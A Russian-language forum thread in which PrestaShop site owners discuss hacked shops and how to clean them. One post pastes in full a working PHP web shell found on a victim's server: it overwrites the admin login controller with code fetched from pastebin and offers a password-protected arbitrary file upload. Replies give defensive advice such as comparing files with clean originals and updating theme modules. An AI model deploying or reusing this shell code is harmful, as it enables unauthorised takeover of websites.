Взлом prestashop

Автор coder, 22 июля 2016, 12:53:36

« назад - далее »

Adik

Не знаю, но это можно посмотреть на их сайте. Тем кто купил тему они рассылали письма с описанием версии и устранненых проблем, также с ссылкой на обновление.

lisavdef

Цитата: iston от 13 октября 2016, 12:00:17
...
liston, стяните файлы сайта по ФТП или с админки Хостера и ищите новые или измененные файлы.
Особенно внимательно ищите среди файлов рhр

niki_1

Приветствую!
нашелся такой файл 2d_is.php в модуле shopgate
это относится , к - is.php ( при взломе)?

Adik

Код в файле какой?

photic

Здравствуйте, не могу никак удалить вредоносный код. Чищу, но при этом он снова появляется. Появляется файл up.php в корне сайта и в папке модулей.

На данный момент сайт работает. Я поменял права файла AdminLoginController.php только на чтение. Изменил все пароли. Но этот файл упорно продолжает появляться.
В сети информацию не нашел.
Вот содержимое этого файла.
<?php
echo "hacked by bajatax <br>";
$sss=array('/','../','../../','../../../','../../../../','../../../../../');
foreach(
$sss as $pa){
$p1=array("$pa/controllers/admin/AdminLoginController.php","$pa/controllers/AdminLoginController.php");
foreach(
$p1 as $path){
if (
file_exists("$path"))
{
$html = @file_get_contents('https://pastebin.com/raw/1SMJWSTB');
$save=fopen($path,'w');
fwrite($save,$html);
echo 
"<br> ./done panel <br>";
}}}
if(
$_GET['bajatax']=="hous"){
echo 
'<center><font color="Red" size="4">';
echo 
" Files Upload BY Bajatax<br>";
/// Script Upload By bajatax \\\
if(isset($_POST['Submit']) && isset($_POST['pass'])){
$pass=md5($_POST['pass']);
if(
$pass=="4cdc6e86fd083752251903f4400d5257"){
$filedir = ""; 
$maxfile = '2000000';
$mode = '0644';
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if(isset($_FILES['image']['name'])) {
$qx = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $qx);
@chmod ($qx, octdec($mode));
echo
" <a href=$userfile_name><center><b>Sucess Upload by Bajatax  :D ==> $userfile_name</b></center></a>";
}
}
else{
echo 
"ikma khask pass hhh :v doz inbox www.fb.com/bajatax58 :p jib BTC o duz Khod u_f  :p <br>";
}}
else{
echo
'<form method="POST" action="#" enctype="multipart/form-data"><br>upload :  <input type="file" name="image"><br>  pass : <input type="password" name="pass" value="9lawi la3rftih :v "><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo 
"<br> hadi fkhatr ga3 l3chran houus :D <br>";
echo 
'</center></font>';

}
?>

coder

AdminLoginController.php не причем. У вас на сайте внедрен shell скрипт, который дает возможность менять файлы.

photic

Зная код этого файла можно как-то найти этот shell ? Это крипт автоматически создает этот файл? Или кто-то удаленно заливает?

coder

Этот код в поиске не поможет. Нужно сравнивать файлы по весу, времени и по коды, брать оригинальные файлы prestashop и сравнивать со своими.
Скрипт заливается автоматом. У вас уже внедрен шел в каком-то из файлов и через него происходит заливка.

savvato

https://revisium.com/ai/


должно помочь найти шелл и дырку.

Миколас

#69
На шаредхостнге бесполезный.
Сайт падает постояно, как только время работы превышает.
Скачал на локальный,  проверил сайт, ругается даже на чистые сайты, нашел несколько вирусов, я их поудалял.
Залил на хостинг и через пару недель опять таже картина.

Svan

Так может это не у вас вирусы. Очень часто взламывают один сайт, а вирус распространяют на многие. Что за хостинг?

photic

#71
Нашел суть проблемы. Дыры оказались в модулях темы. После обновления файлов темы - это помогло.

champion89

#72
Здравствуйте! Каким образом решилась проблема? Движок нужно обновлять или модули? У меня тех поддержка хостинга выпрашивает доказательства того что обновления движка поможет. Как быть?

tigran

Если взломали, то обновление не поможет.

champion89

Цитата: tigran от 05 апреля 2018, 21:49:16
Если взломали, то обновление не поможет.

а что поможет?